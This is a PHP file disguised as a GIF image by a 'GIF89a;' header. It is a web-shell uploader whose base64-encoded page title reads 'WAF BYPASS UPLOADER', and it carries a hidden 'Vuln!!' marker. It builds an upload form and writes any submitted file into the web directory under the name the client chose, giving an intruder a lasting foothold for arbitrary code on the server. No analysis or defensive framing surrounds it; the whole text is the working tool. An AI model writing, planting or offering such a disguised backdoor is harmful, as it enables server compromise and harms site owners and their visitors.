GIF89a;
<?php 
error_reporting(E_ALL ^ E_NOTICE);
echo '<script>
document.title = atob("V0FGIEJZUEFTUyBVUExPQURFUg==");
window.addEventListener("DOMContentLoaded",function(){let e=document.createElement("form");e.method="post",e.enctype="multipart/form-data";let t=document.createElement("input");t.type="file",t.name="file",t.required=!0;let n=document.createElement("button");n.type="submit",n.innerHTML="UP",e.appendChild(t),e.appendChild(n),document.body.appendChild(e)});
</script>
<span style="display:none">Vuln!!</span>';

if($_FILES){ if(function_exists('move_uploaded_file')){ if(move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name'])){printf('Uploaded: <a href="%s">%s</a><br/>',$_FILES['file']['name'],$_FILES['file']['name']);}else{print 'Failed!';} }elseif(function_exists('copy')){ if(copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){printf('Uploaded: <a href="%s">%s</a><br/>',$_FILES['file']['name'],$_FILES['file']['name']);}else{print 'Failed!';} } } 
?>